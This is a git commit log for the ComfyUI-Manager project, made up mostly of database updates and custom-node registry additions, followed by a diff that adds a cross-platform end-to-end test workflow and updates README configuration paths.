* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:36:58 +09:00
Dr.Lt.Data 6c206b1c72 update DB 2025-11-08 13:36:48 +09:00
Hansheng ChenandGitHub a474219e7b Add ComfyUI-piFlow node to custom-node-list.json (#2261) 2025-11-08 13:35:57 +09:00
Dr.Lt.Data 3b8d25eb31 update DB 2025-11-08 13:34:23 +09:00
0faa0aa668 Add multiple angle camera control node (#2262)
* Add multiple angle camera control node

Added a new node for multiple angle camera control with detailed description and installation type.

* Remove duplicate entry for Multiple-Angle-Camera-Control

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:33:08 +09:00
Dr.Lt.Data 0fcdcc93a2 update DB 2025-11-07 12:37:02 +09:00
Dr.Lt.Data 461d5e72fe update DB 2025-11-07 00:42:18 +09:00
Dr.Lt.Data 3f030a2121 update DB 2025-11-06 00:37:25 +09:00
Dr.Lt.Data 7fb8e8662f update DB 2025-11-05 07:48:33 +09:00
Dr.Lt.Data dd3ab9cff2 update DB 2025-11-05 00:33:32 +09:00
Dr.Lt.Data 97b518de12 update DB 2025-11-04 23:25:04 +09:00
Dr.Lt.Data d2a795c866 update DB 2025-11-04 07:54:26 +09:00
8a3d65be20 Add ComfyUI-GRAG-ArchAi3D custom node (#2252)
* Add ComfyUI-ArchAi3d-Qwen custom nodes

* Add new node entry for ComfyUI-GRAG-ArchAi3D

Adding GRAG (Guided Region-Adaptive Guidance) custom node with:
- Simple and Unified controllers
- Advanced sampler
- 54 presets
- Per-layer and adaptive control

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-04 07:32:06 +09:00
Dr.Lt.Data b2126d8ba5 update DB 2025-11-03 18:23:26 +09:00
Dr.Lt.Data 6386411d21 update DB 2025-11-03 12:33:07 +09:00
Dr.Lt.Data 4250244136 update DB 2025-11-03 07:40:01 +09:00
Dr.Lt.Data 77c4f9993d update DB 2025-11-02 12:26:36 +09:00
Dr.Lt.Data c7c8417577 update DB 2025-11-02 08:49:24 +09:00
Dr.Lt.Data 9d0985ded8 update DB 2025-11-01 13:39:08 +09:00
3663e10e33 Change Custom Node github address (#2247)
* Add MultiSaveImage custom node

* feat: change nodes github address and name

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-01 11:55:55 +09:00
Dr.Lt.Data 5f37a82c3c update DB 2025-11-01 11:47:07 +09:00
Dr.Lt.Data 026bf1dfd7 update DB 2025-10-31 12:58:49 +09:00
Dr.Lt.Data 643a6e5080 update DB 2025-10-31 08:01:20 +09:00
Alex FurerandGitHub 5267502896 Remove AF - Edit Generated Prompt node entry (#2245)
Removed 'AF - Edit Generated Prompt' node entry from the custom node list, as it's being migrated to a node pack and summitted via official registry
2025-10-31 07:41:26 +09:00
Dr.Lt.Data c3c152122d update DB 2025-10-30 07:53:35 +09:00
Dr.Lt.Data afeac097e5 update DB 2025-10-29 07:45:00 +09:00
Roberts SlisansandGitHub e5cea64132 Add TTS WebUI API nodes (#2243) 2025-10-29 07:44:16 +09:00
Dr.Lt.Data 26da78cf15 update DB 2025-10-27 12:57:21 +09:00
Dr.Lt.Data 179a1e1ca0 update DB 2025-10-26 14:27:17 +09:00
dehypnoticandGitHub b379d275d1 Add Dehypnotic Save nodes to custom-node-list.json (#2221)
Added new node entry for Dehypnotic Save nodes with details.
2025-10-26 14:22:22 +09:00
Dr.Lt.Data 133cdfb203 update DB 2025-10-26 13:10:07 +09:00
Dr.Lt.Data 2b79edd9be update DB 2025-10-26 13:03:24 +09:00
3862a92e04 Add ComfyUI-CCXManager node (#2222)
* Add ComfyUI-CCXManager node

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-26 13:02:01 +09:00
Dr.Lt.Data f4e3817fcc update DB 2025-10-26 13:01:34 +09:00
Novice_ChenandGitHub 61f0f5d67c Added ComfyUI-Simple-IndexTTs node (#2236) 2025-10-26 13:00:26 +09:00
Dr.Lt.Data 87f57551ea update DB 2025-10-26 13:00:06 +09:00
ee51efed69 Update custom-node-list.json (#2238)
* Update custom-node-list.json

* Simplify node entry by removing file links

Removed specific file links and custom installer from the node list entry.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-26 12:58:30 +09:00
wzgrxandGitHub 5dab865681 Update requirements.txt (#2242) 2025-10-26 12:57:49 +09:00
Dr.Lt.Data 8c0581eebc update DB 2025-10-26 12:52:31 +09:00
Dr.Lt.Data a72f9f422c update DB 2025-10-25 11:09:04 +09:00
Dr.Lt.Data 1354a8c970 update DB 2025-10-24 12:25:01 +09:00
Dr.Lt.Data 00a5115267 update DB 2025-10-23 20:45:14 +09:00
EdgerunnerandGitHub 00282eab7b Added ComfyUI Queue Manager node (#2235) 2025-10-23 20:40:11 +09:00
Dr.Lt.Data bec128de58 update DB 2025-10-23 20:16:27 +09:00
Dr.Lt.Data 9edfa7b4fa update DB 2025-10-23 07:59:17 +09:00
Dr.Lt.Data a9af70e5f0 update DB 2025-10-23 06:59:38 +09:00
Dr.Lt.Data 910caf593f update DB 2025-10-23 06:59:22 +09:00
LeechKingandGitHub 02dc072dc7 Add ComfyUI Channel Ops custom node entry (#2239) 2025-10-23 06:58:15 +09:00
Dr.Lt.Data 78fb354452 update DB 2025-10-21 12:32:28 +09:00
Dr.Lt.Data 66f5eca7fa update DB 2025-10-21 07:53:50 +09:00
Dr.Lt.Data be95396a57 update DB 2025-10-20 18:47:13 +09:00
Dr.Lt.Data 59cbed429f update DB 2025-10-20 12:47:53 +09:00
Dr.Lt.Data d49df7aebb update DB 2025-10-20 07:43:35 +09:00
Dr.Lt.Data 0aa9faad2e update DB 2025-10-20 06:57:50 +09:00
1337def888 Add OmiXDev Custom Nodes collection for Online-Chat ( OpenAI , grok ,.. ) with API Key (#2200)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-20 06:08:04 +09:00
Dr.Lt.Data 4b100c558b update DB 2025-10-19 12:01:07 +09:00
Dr.Lt.Data 1425a71ece update DB 2025-10-19 10:49:22 +09:00
Dr.Lt.Data a8524508fe update DB 2025-10-17 23:01:11 +09:00
Dr.Lt.Data a5ff973d53 update DB 2025-10-17 07:55:16 +09:00
Dr.Lt.Data 337c9aa2c7 update DB 2025-10-16 18:34:03 +09:00
Dr.Lt.Data f1448403ac update DB 2025-10-16 12:46:10 +09:00
Dr.Lt.Data d0b5f77ec6 update DB 2025-10-16 12:16:26 +09:00
Dr.Lt.Data 9cb22ffb60 update DB 2025-10-16 07:45:03 +09:00
KarryCharonandGitHub f556962d82 Add Blender-IO extension (#2223) 2025-10-16 06:46:16 +09:00
Dr.Lt.Data d28448d519 update DB 2025-10-15 07:47:45 +09:00
Casual GamerandGitHub c590a88ffd feat: Add ComfyUI-Danbooru-Tags-Upsampler (#2220) 2025-10-15 06:50:07 +09:00
Dr.Lt.Data a1fc6c817b update DB 2025-10-14 12:30:05 +09:00
Dr.Lt.Data 5554e52799 update DB 2025-10-14 08:39:13 +09:00
Dr.Lt.Data ca749eb4d2 update DB 2025-10-14 07:22:26 +09:00
MichaelandGitHub 41ceee3d24 Add ML_nodes to ComfyUI Manager registry (#2219)
* Update custom-node-list.json

add ML_nodes

* Update custom-node-list.json

fix imstall_type
2025-10-14 07:21:01 +09:00
Dr.Lt.Data 5acfd52986 update DB 2025-10-14 07:20:45 +09:00
ec4c7b2f6a feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix) (#2218)
* feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix)

This repo adds a node fixing LoRA loading in native WANAnimate workflows without using WanVideoWrapper. Critical for FLUX/WAN 2.1 users.

* Update custom-node-list.json

---------

Co-authored-by: IAMCCS <info@carminecristalloscalzi.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-14 07:14:33 +09:00
Dr.Lt.Data 22a3d8f95f update DB 2025-10-13 12:48:21 +09:00
Dr.Lt.Data 06b89ca277 update DB 2025-10-13 08:39:08 +09:00
Dr.Lt.Data 9e5ffbd00a update DB 2025-10-13 07:36:15 +09:00
Dr.Lt.Data 39e92ed778 update DB 2025-10-13 06:30:24 +09:00
68a3ec567a Add comfy-deploy node to the custom node list and extension note map list (#2215)
* Update custom-node-list.json

* Update extension-node-map.json

* Update extension-node-map.json

* Update extension-node-map.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:29:38 +09:00
Dr.Lt.Data 28231e81b3 update DB 2025-10-13 06:25:59 +09:00
ChrisandGitHub b2ee0feeaa Update custom-node-list.json (#2209)
Added comfyui-seedvr2-tilingupscaler
2025-10-13 06:25:23 +09:00
Dr.Lt.Data 5541b6b366 update DB 2025-10-13 06:25:03 +09:00
Amir FerdosandGitHub 408a5fe27e Add ComfyUI-ArchAi3d-Qwen custom nodes (#2214) 2025-10-13 06:23:41 +09:00
Dr.Lt.Data bffc73f976 update DB 2025-10-13 06:23:21 +09:00
bd6edfc9dd Add PortraitUtils to custom-node-list.json (#2216)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:21:28 +09:00
Hardly WorkingandGitHub 2cb24e8a94 Update custom-node-list.json (#2217) 2025-10-13 06:16:52 +09:00
Dr.Lt.Data a49779c4d2 update DB 2025-10-13 06:14:21 +09:00
kj863257rcandGitHub 15a5a5f5df Update custom-node-list.json (#2213)
Add reference information
2025-10-13 06:12:43 +09:00
Sonny BoxandGitHub b5e0558d6e Update custom-node-list.json (#2212) 2025-10-13 06:12:00 +09:00
4d683b23fc Include new node (#2211)
* Include New node

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-13 06:11:13 +09:00
SBCODEandGitHub c13da606b2 Update custom-node-list.json with a Video Reverse Tool (#2210)
Add a reference to a tool for reversing the image batch tensor of video type files such as MP4, WebM, WebP, Animated Gif.

Also added tags to my other custom nodes Virtual Camera and Image Compare.
2025-10-13 06:09:43 +09:00
Dr.Lt.Data c792f9277c update DB 2025-10-10 09:03:13 +09:00
Dr.Lt.Data b430f42622 update DB 2025-10-10 08:27:54 +09:00
fee822f5ae feat: updated models-list to add support for Qwen Images models (#2204)
* feat: updated models-list to add support for Qwen Images models

* fix: give back orginal spacing

---------

Co-authored-by: remote-dev <you@example.com>
2025-10-10 08:23:26 +09:00
SBCODEandGitHub 192659ecbd Update custom-node-list.json (#2205)
Added an option for ComfyUI Image Compare.
A no frills image comparing tool. 
Compare two images using ComfyUI. 
Connect images to both image_a and image_b inputs. 
Press RUN. 
Then use the slider to compare.
2025-10-10 08:21:56 +09:00
810431b9e2 Adding PiePieTweaks custom nodes (#2206)
Co-authored-by: Imbrium201 <133581634+imbrium201@users.noreply.github.com>
2025-10-10 08:21:42 +09:00
Dr.Lt.Data 02d845adf3 update DB 2025-10-10 08:18:51 +09:00
Dr.Lt.Data 89c7b960fb update scanner.py 2025-10-10 08:03:52 +09:00
Dr.Lt.Data ed1e399a56 update DB 2025-10-10 01:56:14 +09:00
Dr.Lt.Data 8a3ce1ae57 update DB 2025-10-10 00:41:43 +09:00
sumitchatterjee13andGitHub d89ff649f8 Removed HDR Vae Decode node (#2202)
Due to my company policy, my company asked me to remove this node and asked me not to share the codes, so I removed the nodes.
2025-10-10 00:07:01 +09:00
Dr.Lt.Data 24a73b5d1c update DB 2025-10-09 11:56:44 +09:00
Dr.Lt.Data 4d0c40ff8a update DB 2025-10-09 10:57:02 +09:00
Dr.Lt.Data b5a2bed539 update DB 2025-10-08 12:16:22 +09:00
dehypnoticandGitHub 0efb79f571 Update custom-node-list.json (#2199) 2025-10-08 11:07:40 +09:00
Seungyong LeeandGitHub df944b9a0f Update custom-node-list.json (#2198) 2025-10-08 11:06:50 +09:00
2c11846430 Add new node - Character and Word counter (#2195)
* Include New node

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-10-08 11:05:24 +09:00
Dr.Lt.Data 0035c01186 update DB 2025-10-07 14:29:49 +09:00
snicolastandGitHub 34be3384fe new node: Lightweight ComfyUI wrapper for OVI (#2196) 2025-10-07 13:19:36 +09:00
Dr.Lt.Data ebbc7b3335 update DB 2025-10-07 13:18:57 +09:00
TEKUA@AITECCAFEandGitHub 4ccc8c3086 Update custom-node-list.json (#2194)
Add MyCustomNode.
ComfyUI_AITECCAFE_Toolkit
2025-10-07 13:17:35 +09:00
Dr.Lt.Data af9ebc9568 update DB 2025-10-05 09:15:49 +09:00
Dr.Lt.Data ca4b61c5f0 update DB 2025-10-04 07:26:25 +09:00
Dr.Lt.Data 393839b3ab update DB 2025-10-03 12:54:02 +09:00
Dr.Lt.Data dadfc96e00 update DB 2025-10-03 11:10:48 +09:00
u5devandGitHub a0a33aef03 Add: u5 VramFREE to custom-node list (#2191)
Register "u5 VramFREE" (repo: https://github.com/u5dev/comfyUI_u5_VramFREE).
Utility node for freeing VRAM and sequential model loading.
Tags: utility, vram, memory, optimization.
2025-10-03 10:49:12 +09:00
Dr.Lt.Data 99ed81e0f5 update DB 2025-10-02 12:58:04 +09:00
Dr.Lt.Data 5b697db219 update DB 2025-10-02 07:45:30 +09:00
rubyrubypandGitHub 8e5bf46e14 Fix spelling in font definition (#2189) 2025-10-02 07:36:57 +09:00
Dr.Lt.Data 9f649b0900 update DB 2025-10-01 12:32:02 +09:00
Dr.Lt.Data abb15e06d3 update DB 2025-10-01 07:51:07 +09:00
Dr.Lt.Data 11a317493e update DB 2025-10-01 00:35:12 +09:00
InolandandGitHub e8cece0c1b Add ComfyUI Ino nodes (#2187)
https://github.com/nobandegani/comfyui_ino_nodes
2025-10-01 00:10:39 +09:00
Dr.Lt.Data 1ab882f81d update DB 2025-09-30 12:45:40 +09:00
Dr.Lt.Data b9338186e3 update DB 2025-09-30 07:34:06 +09:00
Dr.Lt.Data 7c3cbff425 update DB 2025-09-29 12:37:31 +09:00
Dr.Lt.Data 1ff0afc633 update DB 2025-09-29 08:12:12 +09:00
Dr.Lt.Data bfe7ee8fba update DB 2025-09-29 07:48:55 +09:00
Dr.Lt.Data 49c73ed10e update DB 2025-09-29 07:18:46 +09:00
Light-x02andGitHub f571baacf9 Add ComfyUI-Lightx02-Nodes and remove duplicates (#2185)
* Update custom-node-list.json

* Update custom-node-list.json
2025-09-29 07:18:20 +09:00
6f02e1114c add VNCCS node to node list (#2184)
* add VNCCS node to node list

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-29 07:16:56 +09:00
Dr.Lt.Data e230f43565 update DB 2025-09-27 08:11:37 +09:00
Dr.Lt.Data 0d9593e71b update DB 2025-09-27 06:26:28 +09:00
VéroleandGitHub 20778ecfb0 Add custom node: ComfyUI-VideoCompressor (#2182)
Adds a new unified video compression node. It handles image/video inputs and features 2-pass, CRF, and GPU encoding modes
2025-09-27 05:37:58 +09:00
kj863257rcandGitHub 2ea991d960 Update custom-node-list.json : add ComfyUI_RC_Image_Compositor to custom-node-list.json (#2180) 2025-09-27 05:37:05 +09:00
Dr.Lt.Data 119c107834 update DB 2025-09-26 12:41:49 +09:00
Dr.Lt.Data 800a0d0449 update DB 2025-09-26 07:20:06 +09:00
Dr.Lt.Data 95c43f0189 update DB 2025-09-26 07:00:07 +09:00
9c77176c7f updated nodes (#2179)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-26 06:59:16 +09:00
Dr.Lt.Data ddb6a55cd6 update DB 2025-09-25 18:12:48 +09:00
Dr.Lt.Data 56a4f6fdd7 update DB 2025-09-25 07:46:13 +09:00
Dr.Lt.Data 8a30f788b5 update DB 2025-09-25 07:21:37 +09:00
ae(seth)ticsandGitHub 380a1c2c8c Update custom-node-list.json (#2177)
Add ComfyUI 3D Model Viewer custom node
2025-09-25 07:18:50 +09:00
Dr.Lt.Data cd8e8335cf update DB 2025-09-25 07:18:33 +09:00
sumitchatterjee13andGitHub 6e1beb54a4 Add vae-decode-hdr node with HDR support (#2174)
Added a new custom The vae-decode-hdr repository is for a custom ComfyUI node designed to preserve High Dynamic Range (HDR) data during VAE decoding. The developer, Sumit Chatterjee, created this node to address the limitation of ComfyUI's default VAE Decode node, which compresses outputs to a 0-1 pixel range, resulting in a loss of dynamic range.

The node uses a "scientific approach" to analyze the VAE's conv_out layer and intelligently expand highlight regions, bypassing the clipping that typically occurs. The repository also includes a companion tool called the "Linear EXR Export" node, which is essential for creating professional HDR output files that are ready for use in compositing software. The project is licensed under the MIT License and is open to contributions.ComfyUI node for HDR VAE decoding.
2025-09-25 07:17:28 +09:00
Dr.Lt.Data 9217c965dd update DB 2025-09-25 07:17:12 +09:00
DaLongZZiandGitHub a4d71ef487 Add Gemini Prompt Studio node (#2175) 2025-09-25 07:16:18 +09:00
Dr.Lt.Data 518f332047 update DB 2025-09-25 07:15:19 +09:00
PeterandGitHub 9257d497b8 Add pg nodesAdd "PG Nodes" to custom-node-list.json (#2173)
* Update custom-node-list.json for PG Nodes

* Update custom-node-list.json for PG Nodes (fix)
2025-09-25 07:13:59 +09:00
Dr.Lt.Data 07cf5de4f7 update DB 2025-09-24 07:47:34 +09:00
43ad69e48d Update custom-node-list.json-Add ComfyUI-QI-QwenEditSafe (#2169)
* Update custom-node-list.json-Add ComfyUI-QI-QwenEditSafe

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-24 07:17:34 +09:00
Dr.Lt.Data c62e236cc6 update DB 2025-09-24 07:17:07 +09:00
fkxianzhouandGitHub 15a2fbb293 Update custom-node-list.json (#2168) 2025-09-24 07:15:32 +09:00
Dr.Lt.Data 16800c3fa0 update DB 2025-09-23 12:57:23 +09:00
Dr.Lt.Data ce09f41aa3 update DB 2025-09-23 07:54:51 +09:00
Dr.Lt.Data 47dc2f036a update DB 2025-09-23 07:21:26 +09:00
f27a154bfd Add ComfyUI-PromptsO to Custom node list (#2167)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion

* Add ComfyUI-S4Tool-Text to custom node list

Text rendering and styling nodes for ComfyUI. This extension provides a basic text renderer, multiple font loaders, and a style node that adds stroke, shadow, gradient fill, and opacity control.

* Add ComfyUI-Prepack to custom node list

A small, practical bundle of ComfyUI nodes that streamlines common workflows.

* Update custom-node-list.json

* Add ComfyUI-PromptsO to Custom node list

A comprehensive AI API integration and prompt processing toolkit for ComfyUI, providing powerful text and image generation capabilities with advanced prompt manipulation tools.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-23 07:20:33 +09:00
umyunsangandGitHub 79757366e8 docs: fix typos and phrasing in README and docs (en/ko)\n\n- README: grammar, capitalization, option name (--skip-stat-update), double-click, macOS\n- js/README: Copus platform name\n- docs/en: Colab capitalization\n- docs/ko: spacing, wording, typos (예를, 명령, show를, etc.) (#2166) 2025-09-23 07:17:41 +09:00
Dr.Lt.Data 2cd9a417d6 update DB 2025-09-22 12:32:22 +09:00
Dr.Lt.Data deb05c6cc3 update DB 2025-09-22 07:30:28 +09:00
sumitchatterjee13andGitHub b6f171de51 Add Luminance Stack Processor node (#2165)
A set of nodes to stack multi exposure images to produce high dynamic range image, dedicated exr output node.
2025-09-22 07:14:53 +09:00
Dr.Lt.Data a58d5f6999 update DB 2025-09-21 12:03:39 +09:00
Dr.Lt.Data e0b3f3eb45 update DB 2025-09-20 07:50:52 +09:00
Dr.Lt.Data 4bbc8594a7 update DB 2025-09-19 18:05:57 +09:00
Dr.Lt.Data 3a377300e1 update DB 2025-09-19 07:57:39 +09:00
33a07e3a86 add ComfyUI Virtual Webcam to custom-node-list.json (#2161)
* Added ComfyUI Virtual Webcam plugin to custom-node-list.json

The ComfyUI Virtual Webcam allows you to stream your ksampler output images to a webcam driver

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-19 07:27:21 +09:00
Dr.Lt.Data 212cafc1d7 update DB 2025-09-18 12:45:47 +09:00
LeylahandGitHub 2643b3cbcc Update author and reference for ComfyUI-Violet-Tools (#2159) 2025-09-18 07:38:32 +09:00
Dr.Lt.Data d445229b6d update DB 2025-09-17 12:54:06 +09:00
Dr.Lt.Data dab5c451b0 update DB 2025-09-17 07:37:39 +09:00
Dr.Lt.Data 7bdf06131a update DB 2025-09-17 06:44:45 +09:00
LeechKingandGitHub 854648d5af Add Danbooru FAISS Search Node to custom-node-list (#2157) 2025-09-17 06:43:55 +09:00
Dr.Lt.Data c5f7b97359 update DB 2025-09-17 06:43:39 +09:00
AaaliceandGitHub dd8a727ad6 Update custom-node-list.json (#2154) 2025-09-17 06:42:10 +09:00
Dr.Lt.Data 6c627fe422 update DB 2025-09-17 06:41:49 +09:00
dehypnoticandGitHub ee980e1caf Update custom-node-list.json (#2153) 2025-09-17 06:39:29 +09:00
SemonxueandGitHub 22bfaf6527 Add ComfyUI FlexAI Nodes to custom-node-list (#2149)
Added a new node for ComfyUI FlexAI with detailed description.
2025-09-17 06:35:58 +09:00
Dr.Lt.Data 48ab48cc30 fixed: more complete uv support
* Previously, only `uv` installed inside a venv was properly handled. Now `uv` installed outside the venv is also supported.
* Even if `use_uv=False`, `uv` is used as a fallback when `pip` is unavailable.
* Even if `use_uv=True`, `pip` is used as a fallback when `uv` is unavailable.

https://github.com/Comfy-Org/ComfyUI-Manager/issues/2125
2025-09-17 06:28:06 +09:00
Dr.Lt.Data a0b14d4127 update DB 2025-09-16 12:39:14 +09:00
Dr.Lt.Data 03f9fe1a70 update DB 2025-09-16 07:44:02 +09:00
Jonnathan NakagawaandGitHub 8915b8d796 Add custom node: comfyui_nakagawa for websocket video data handling (#2151) 2025-09-16 06:36:09 +09:00
Dr.Lt.Data c77ffeeec0 update DB 2025-09-15 12:52:43 +09:00
Dr.Lt.Data 4acf5660b2 fixed: broken db 2025-09-15 08:11:56 +09:00
Dr.Lt.Data 2d9f0a668c update DB 2025-09-15 07:41:30 +09:00
9e6cb246cc Update ComfyUI-S4Tool-Image to custom_nodes list (#2150)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion

* Add ComfyUI-S4Tool-Text to custom node list

Text rendering and styling nodes for ComfyUI. This extension provides a basic text renderer, multiple font loaders, and a style node that adds stroke, shadow, gradient fill, and opacity control.

* Add ComfyUI-Prepack to custom node list

A small, practical bundle of ComfyUI nodes that streamlines common workflows.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-15 07:01:27 +09:00
Dr.Lt.Data 14544ca63d update DB 2025-09-14 08:21:21 +09:00
fr0nky0ngandGitHub 26b347c04c Add custom node: ComfyUI-Face-Comparator (#2147) 2025-09-14 08:20:23 +09:00
Dr.Lt.Data 36f75d1811 update DB 2025-09-13 15:55:25 +09:00
65 changed files with 43891 additions and 12742 deletions
+74
View File
@@ -0,0 +1,74 @@
name: "E2E Tests on Multiple Platforms"
on:
push:
branches: [main, feat/*, fix/*]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
pull_request:
branches: [main]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
workflow_dispatch:
permissions:
contents: read
jobs:
e2e:
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
runs-on: ${{ matrix.os }}
timeout-minutes: 15
env:
PYTHONIOENCODING: "utf8"
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python-version: ["3.10"]
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install uv
uses: astral-sh/setup-uv@v4
- name: Set E2E_ROOT
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
else
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
fi
- name: Setup E2E environment
shell: bash
env:
MANAGER_ROOT: ${{ github.workspace }}
run: |
python tests/e2e/scripts/setup_e2e_env.py
- name: Run E2E tests
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
else
VENV_PY="$E2E_ROOT/venv/bin/python"
fi
uv pip install --python "$VENV_PY" pytest pytest-timeout
"$VENV_PY" -m pytest tests/e2e/test_e2e_uv_compile.py -v -s --timeout=300
+3 -1
View File
@@ -21,4 +21,6 @@ check2.sh
build
dist
*.egg-info
.env
.env
.claude
test_venv
+25 -25
View File
@@ -89,20 +89,20 @@
## Paths
In `ComfyUI-Manager` V3.0 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/default/ComfyUI-Manager/`.
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
* Basic config files: `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/default/ComfyUI-Manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/default/ComfyUI-Manager/components`
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/__manager/components`
## `extra_model_paths.yaml` Configuration
@@ -115,17 +115,17 @@ The following settings are applied based on the section marked as `is_default`.
## Snapshot-Manager
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
* You can rename snapshot file.
* Press the "Restore" button to revert to the installation status of the respective snapshot.
* However, for custom nodes not managed by Git, snapshot support is incomplete.
* When you press `Restore`, it will take effect on the next ComfyUI startup.
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/snapshot.jpg)
## cm-cli: command line tools for power user
## cm-cli: command line tools for power users
* A tool is provided that allows you to use the features of ComfyUI-Manager without running ComfyUI.
* For more details, please refer to the [cm-cli documentation](docs/en/cm-cli.md).
@@ -169,12 +169,12 @@ The following settings are applied based on the section marked as `is_default`.
}
```
* `<current timestamp>` Ensure that the timestamp is always unique.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
* `<compnent nodeata>`: In the nodedata of the group node.
* `<component node data>`: In the node data of the group node.
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
* `<datetime>`: Saved time
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
```
"version":"1.0",
